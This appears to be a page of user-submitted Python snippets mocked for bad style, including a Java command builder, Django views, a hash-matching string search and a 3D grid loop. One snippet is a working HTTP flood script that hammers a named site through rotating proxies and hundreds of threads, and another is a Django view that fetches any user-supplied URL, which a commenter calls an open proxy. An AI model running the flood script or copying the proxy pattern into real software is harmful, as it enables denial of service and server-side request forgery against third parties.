def MergeThings(config_file, list_of_things, output_dir):
    # read configparser config
    config = read_config(config_file)

    thing_string = ' --option '.join(list_of_things)

    cmd = ''
    cleaner_cmd = ''
    cleaner_cmd = """&& a=%s ; s=`python -c "b=[line.split() for line in  open('$a') if line.startswith('#COMMENT')][0][7:]; print '-ab ' +  ' -ab '.join([b[0]] +  b[-len(b)/2:])"`; java -Xmx1g -XX:ParallelGCThreads=1 -jar /path/to/a/java/command.jar -Z SelectThings -Y %s -W $a -U %s $s""" % (
        os.path.join(output_dir, config.get('PARAMETERS', 'NAME') + '.file.extension'), config.get('FILES' + config.get('PARAMETERS', 'REFERENCE'), 'REF'), os.path.join(output_dir, config.get('PARAMETERS', 'NAME') + '.cleaned.file.extention'))
    cmd = '%s -Xmx1g -XX:ParallelGCThreads=1 -Djava.io.tmpdir=/path/to/temp -jar %s -A doThings -B %s --option %s -otherOptions UNIQUE -C %s %s -D' % (config.get('SCRIPTS', 'JAVA'), config.get(
        'SCRIPTS', 'OTHER_SCRIPT'), config.get('FILES' + config.get('PARAMETERS', 'REFERENCE'), 'REF'), thing_string, os.path.join(output_dir, config.get('PARAMETERS', 'NAME') + '.file.extention.gz'), cleaner_cmd)

    return cmd

When scientists write code, sometimes it's not pretty. It's rather redacted ("thing" was not "thing" in the original). I especially love that the Bash part uses `` rather than $().

By AnonyMouse, 2019-07-17 04:14:11
from typing import Dict, List

from dataclasses import dataclass
from lbcore.orders import Order, Match


@dataclass
class SideEffect:
    order_id: str = ''
    action: Dict = None
    updates: Dict = None
    matches: List[Match] = None
    order: Order = None
    action_exists: bool = False

    def match(self, price):
        match = self.action.copy()
        match['price'] = price
        return match


class SideEffects(list):
    def add_action(self, order, action_exists=False, **action):
        action['order_id'] = order.id
        se = SideEffect(order=order, action=action,
                        action_exists=action_exists)
        self.append(se)
        return se

    def add_update(self, order_id, **updates):
        se = SideEffect(order_id=order_id, updates=updates)
        self.append(se)
        return se

    def add_trade(self, order, matches):
        se = SideEffect(order=order, matches=matches)
        self.append(se)
        return se
By Anonymous, 2019-07-18 13:24:21
apps_to_be_deployed = apps_to_be_deployed.strip()
if apps_to_be_deployed.endswith(":"):
    apps_to_be_deployed_length = len(apps_to_be_deployed)
    apps_to_be_deployed_list = list(apps_to_be_deployed)
    apps_to_be_deployed_list[apps_to_be_deployed_length - 1] = ''
    apps_to_be_deployed = "".join(apps_to_be_deployed_list)
By jlo, 2019-09-14 01:16:59
j =0
import random
import hashlib
#geetting inputs
c = input("data  ")
n= int(input("N(the count of last numbers)=  "))
v= input(str(n)+" last char  ")
#list of alphas
l1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z', 'u']
l2 = ["A", 'B', 'C', 'D', 'E', 'F','G' , 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Y', 'Z', 'U']
alphas= 0
#calc the count of alppphas
x=""
for j in c:
    if(j in l1 or j in l2):
        alphas +=1
#positions
h = 2**alphas
hs = []
cc =0
j=0
xf =0
# the stat of main coode
for j in range(h):
    #making a sring with 1 and 0
    while True:
        x=""
        for i in range(len(c)):
            x+=str(random.randint(0,1))
        if(not(x in hs)):
            hs.append(x)
            break
    Xx =""
    cc =0
    #convert that to lower and upper
    for j1 in x:
        if(j1=="0"):
            Xx+=c[cc].lower()
        else:
            Xx+=c[cc].upper()
        cc+=1
    #hash
    m = hashlib.sha256()
    m.update(Xx.encode('utf-8'))
    h = m.hexdigest()
    #if
    if(h[0-n:]==v):
        print("text :"+Xx)
        print("hash :"+h)
        xf = True
        break
    if xf==True:
        break
j =0
#if that not possible to have git push -Desirable-hash by changed lower to upper and upper to lower
if(xf==0):
    while 1:
        j+=1
        d = c+str(j)
        m = hashlib.sha256()
        m.update(d.encode('utf-8'))
        h = m.hexdigest()
        if(h[0-n:]==v):
            print("text :"+d)
            print("hash :"+h)
            break
x = input("press enter to exit")0

this program take a string from you and give you a Desirable-hash by changing lower to upper and changing lower to upper if that possible

By shamsnaamir, 2019-12-13 10:04:28
        if "[trait]" in lines[i]:
            in_trait = True
        elif "[/trait]" in lines[i]:
            in_trait = False
        elif "[object]" in lines[i]:
            in_object = True
        elif "[/object]" in lines[i]:
            in_object = False
        elif "[stage]" in lines[i]:
            in_stage = True
        elif "[/stage]" in lines[i]:
            in_stage = False
        elif "[cfg]" in lines[i]:
            in_cfg = True
        elif "[/cfg]" in lines[i]:
            in_cfg = False
        elif "[goal]" in lines[i]:
            in_goal = True
        elif "[/goal]" in lines[i]:
            in_goal = False
#... 150 more lines of this

Basically, linting a config file with a DOM tree, using Python

By Anonymous, 2019-12-28 23:35:11
def sho_est(request):
    if not request.user.is_superuser and not request.user.is_staff and not request.user.is_university:
        raise Http404
    data = ''
    if request.content_type == 'application/x-www-form-urlencoded' and request.method == 'POST':
        user_detail = request.POST.get('user_detail', None)
        if user_detail:
            if request.user.is_superuser or request.user.is_staff:
                credito = Credit.objects.get(pk=user_detail)
                fecha_apronacion = 'Pendiente'
                estado_firma = 'Pendiente'
                estado_cuota = 'Pendiente'
                if credito.created_at:
                    fecha_apronacion = credito.created_at.strftime('%Y-%m-%d')
                if credito.is_iou_signed:
                    estado_firma = 'Firmado'
                if credito.is_retainer_paid:
                    estado_cuota = 'Paga'
                reg_amr_due = """
                <tr style="border: 1px solid black; padding: 5px;">
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{period}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_loan_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">
                    {due_tech_amount_due_surety_amount_due}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_interest_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">
                    {due_fines_arrears_amount_due_interest_arrears_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{days_in_arrears}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{fullfilment_date}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{status}</td>
                  </tr>
                  """
                str_amr_due = ""
                dic_ver = {}

Fuck Yeah

By rootweiller, 2020-01-15 04:09:48
@register.filter
def rangocinco(obj_id, limit):
    if (obj_id+5) > limit:
        if not (limit-4) == obj_id:
            # print((limit-4), obj_id, flush=True)
            return range((limit-4), (limit+1))
        else:
            # print('SI NO', flush=True)
            return range((obj_id-2), (obj_id+3))
    else:
        # print('NO', flush=True)
        if (obj_id-4) < 2:
            # print('NO SI', flush=True)
            return range(obj_id, (obj_id+5))
        else:
            # print('NO NO', flush=True)
            return range((obj_id-4), (obj_id+1))

Fuck

By rootweiller, 2020-03-11 21:17:16
from django.http import JsonResponse, HttpResponse
import requests

def download_custom_award(request):
    try:
        custom_img = requests.get(request.GET.get('award'))
        response = HttpResponse(custom_img.content, content_type='application/PNG')
        filename = "Your_Award.png"
        response['Content-Disposition'] = 'attachment; filename=%s' % (filename)
        return response
    except Exception as e:
        return JsonResponse({'Status': 404, "message": e.message})

This developer was trying to force the browser to download a custom image rather than show it inline, so he coded an open reverse proxy and attempted to release it to a production web app. Also, all exceptions are trapped and shown to the user in plaintext in their browser.

By Anonymous, 2020-05-26 10:38:31
class JavaScriptParser(BaseParser):
    ... # some (exactly four) (useful?) methods
    get_references_of_tag = get_forms = BaseParser._return_empty_list
    get_comments = BaseParser._return_empty_list
    get_meta_redir = get_meta_tags = get_emails = BaseParser._return_empty_list

Developer if forced (by himself probably) to overwrite all methods to prevent raise NotImplementedError xD

By BetterNot, 2020-07-20 15:08:30
def get_verified_infos(request):
    try:
        # request logic here
        return data
    except Exception:
        logger.error(
            'Request to XXX was unsuccessful, '
            'Will retry till max recursion! Retrying...'
        )
        return get_verified_infos(request)

Used for OpenID authentication

By Anonymous, 2020-11-04 18:28:11
def isBool(l):
    if l != True or l != False:
        return False
    return True
By mamadSiah, 2021-04-27 16:13:17
latest_tag = "0.0.0"
    for tag in tags:
        if tag.name.startswith( 'v' ):
            if tag.name.replace('v','').replace('.','') > latest_tag.replace('.',''):
                latest_tag = tag.name.replace('v','')
By Anonymous, 2021-04-30 08:18:17
class vggNet(nn.Module):
    def __init__(self, pretrained=True):
        super(vggNet, self).__init__()
        self.net = models.vgg16(pretrained=True).features.eval()

    def forward(self, x):


        out = []
        for i in range(len(self.net)):
            #x = self.net[i](x)
            x = self.net[i](x)
            #if i in [3, 8, 15, 22, 29]:
            #if i in [15]: #提取1,1/2,1/4的特征图
            if i in [8,15,22]: #提取1,1/2,1/4,1/8,1/16
                # print(self.net[i])
                out.append(x)
        return out

Some creepy feature extraction code I found attached to a research paper.

Features:

  • the "pretrained" parameter it's not actually used.
  • Just works (not so sure about that) with a vgg16, what if I want to use any other model?
  • They provided a spare copy of line 12, in case you lose one.
  • You can select a custom combination of layers by uncommenting the right if statement. A chinese explanation follows. Sometimes.
  • Why use pytorch hooks when you can write a 20+ lines class each time you need it?
By Baichuan Huang, 2021-05-21 19:21:58
import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
    Proxy = random.choice(list(open(Proxfile)))
    proxies = {'http://': 'http://'+Proxy}
    headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
    with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
        while True:
            try:
                for y in range(50):
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
            except:
                    pass


while 1:
    print('attacking', site)
    for i in range(50):
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()

my eyes are bleeding

By @o_SKID, 2022-01-27 22:46:24
 # 5-level loop, forgive me...
        for xi, xs in enumerate(X):
            for yi, ys in enumerate(Y):
                for zi, zs in enumerate(Z):
                    lx, ly, lz = len(xs), len(ys), len(zs)
                    # construct points
                    xx, yy, zz = custom_meshgrid(xs, ys, zs)
                    world_xyzs = (
                        torch.cat(
                            [xx.reshape(-1, 1), yy.reshape(-1, 1), zz.reshape(-1, 1)],
                            dim=-1,
                        )
                        .unsqueeze(0)
                        .to(count.device)
                    )  # [1, N, 3]

                    # cascading
                    for cas in range(self.cascade):
                        bound = min(2**cas, self.bound)
                        half_grid_size = bound / resolution
                        # scale to current cascade's resolution
                        cas_world_xyzs = world_xyzs * (bound - half_grid_size)

                        # split batch to avoid OOM
                        head = 0
                        while head < B:
                            tail = min(head + S, B)

                            # world2cam transform (poses is c2w, so we need to transpose it. Another transpose is needed for batched matmul, so the final form is without transpose.)
                            cam_xyzs = cas_world_xyzs - poses[
                                head:tail, :3, 3
                            ].unsqueeze(1)
                            cam_xyzs = cam_xyzs @ poses[head:tail, :3, :3]  # [S, N, 3]

                            # query if point is covered by any camera
                            mask_z = cam_xyzs[:, :, 2] > 0  # [S, N]
                            mask_x = (
                                torch.abs(cam_xyzs[:, :, 0])
                                < cx / fx * cam_xyzs[:, :, 2] + half_grid_size * 2
                            )
                            mask_y = (
                                torch.abs(cam_xyzs[:, :, 1])
                                < cy / fy * cam_xyzs[:, :, 2] + half_grid_size * 2
                            )
                            mask = (
                                (mask_z & mask_x & mask_y).sum(0).reshape(lx, ly, lz)
                            )  # [N] --> [lx, ly, lz]

                            # update count
                            count[
                                cas,
                                xi * S : xi * S + lx,
                                yi * S : yi * S + ly,
                                zi * S : zi * S + lz,
                            ] += mask
                            head += S
By Anonymous, 2022-05-13 14:03:28